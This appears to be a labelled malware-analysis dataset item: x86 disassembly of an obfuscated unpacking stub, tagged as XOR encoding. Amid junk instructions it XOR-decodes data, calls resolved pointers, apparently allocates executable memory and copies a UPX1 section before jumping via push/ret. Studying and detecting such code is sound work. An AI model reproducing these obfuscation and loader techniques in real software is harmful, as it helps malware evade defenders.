Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf24db877
not esi
add eax, 0x3ebb00f2
mov eax, 0xda574463
popal
sub esi, 0x7fe1c69f
add esi, 1
sub esi, 0xceb9a993
mov ebx, 0
mov edi, ecx
add esi, 0xbdd9b396
sub eax, esi
mov edx, edi
add esi, 0xabd9fc25
mov eax, 0x160f4aa1
sub eax, 0x49c6d792
mov ecx, edx
add eax, 0xce85f264
and esi, esi
inc ebx
dec eax
not eax
cmp ebx, 0x100dbbc
jne 0xa789d7
or eax, esi
not esi
sub eax, esi
dec eax
add eax, esi
add esi, 0xc0ecc53d
mov edi, 0xa78796
sub eax, edx
and eax, edx
mov ebx, 0xa7898a
and esi, eax
sub eax, edx
mov ecx, dword [edi]
or edx, eax
add edx, esi
and ecx, 0xff
mov eax, esi
inc edx
add eax, eax
xor dword [ebx], ecx
not edx
or edx, esi
not edx
add ebx, 1
inc esi
dec eax
inc edi
sub eax, 0x8a6ae651
or eax, eax
cmp ebx, entry0
jl 0xa78a2f
sub edx, eax
add eax, 1
add edx, 0xb1c19012
mov eax, esi
add edx, edx
add edi, 0xabb222e
add edx, 1
not esi
mov ecx, 0xa7898e
dec edi
mov esi, 0x748a8b6d
mov ecx, dword [ecx]
sub edx, 0x85caa9d0
mov edx, 0x5ade5f8b
mov ecx, dword [ecx]
add edi, ebx
inc esi
or edx, edi
push ecx
sub esi, 1
mov edi, edx
sub edx, edi
mov ecx, 0xa7898a
or edi, edi
mov ebx, edx
mov edx, edi
mov ecx, dword [ecx]
not esi
and edx, edx
sub ebx, edx
mov ecx, dword [ecx]
sub esi, ebx
inc esi
push 0xa78992
and esi, ebx
not ebx
call ecx
add edx, 0x6ea4eed1
dec ebx
pop ecx
mov edx, ebx
not edx
push 0xa7899f
mov edx, 0xb61c23df
sub edx, 1
push eax
add esi, 1
not ebx
add edx, 0xf0ffd08a
call ecx
and edi, edi
not edi
and ebx, edx
push 0x40
add edx, edi
add edi, 1
sub ebx, edx
push 0x3000
and esi, ebx
or edi, esi
sub esp, 4
mov dword [esp], 0x20000b4d
sub ebx, 1
sub ebx, 0x609612ab
push 0
not edi
inc esi
call eax
sub esi, 0xaabd0ab3
sub edx, 1
mov edi, 0xc201db2b
add eax, 0x20000ad7
not ebx
not edx
mov ecx, 0x9536cda1
and edx, edx
sub edi, 0x6d8adff
mov dword [eax], ecx
add ebx, ebx
add edi, 0xc72c001a
sub edi, 0x783b36e6
mov ecx, dword [eax]
add edi, 0x33e7474b
sub edx, 0x7ca4a1e0
cmp ecx, 0x9536cda1
je 0xa78b92
mov ebx, 0
mov dword [ebx], eax
sub esi, ebx
or edx, esi
mov ebx, esi
not esi
and ebx, edi
add eax, esi
or esi, eax
mov edx, section.UPX1
mov esi, eax
inc esi
sub esi, 0x6901c950
mov ecx, 0xa78795
sub esi, eax
mov eax, esi
add esi, 0x5c7b58
mov edi, 0
sub esi, 0xa9bce6c3
add eax, 0xdaacf743
mov eax, esi
mov ebx, 0xa78796
mov eax, esi
not eax
sub esi, 0x7e438041
lea ebx, [ebx + edi]
sub esi, eax
and eax, esi
mov ebx, dword [ebx]
not esi
or esi, eax
or esi, eax
and ebx, 0xff
and eax, esi
or esi, esi
sub eax, esi
inc edi
or esi, eax
and esi, esi
not eax
cmp edi, 0x1f4
jne 0xa78c0e
mov edi, 0
and eax, eax
add eax, 0x67b3af8b
sub esi, eax
or esi, eax
sub esi, eax
xor dword [edx], ebx
or eax, esi
sub esi, 1
sub esi, eax
add edx, 2
and eax, eax
and eax, eax
and eax, eax
cmp edx, ecx
jl 0xa78bd0
dec esi
or eax, esi
or eax, esi
sub esi, 0x7d773254
sub esi, 0x9a5871c6
mov edx, section.UPX1
or esi, esi
dec esi
or ecx, esi
mov eax, section.UPX1
mov ecx, 0x384a9f2e
mov ecx, 0x8746990
add esi, 0x3f75575e
mov edi, 0xa78795
sub ecx, esi
add ecx, esi
add ecx, esi
mov ebx, 0
inc esi
add esi, esi
mov bl, byte [eax]
add ecx, ecx
or esi, esi
add ecx, 0x1d8853ef
mov byte [edx], bl
sub esi, 0xd98da3fd
inc ecx
add edx, 1
mov esi, ecx
or ecx, esi
add eax, 2
add ecx, 1
add ecx, 0x39fc883
cmp eax, edi
jle 0xa78c7f
dec esi
add ecx, 0xf06a055e
and esi, esi
inc esi
push 0x8dc6a0
sub esi, eax
not eax
ret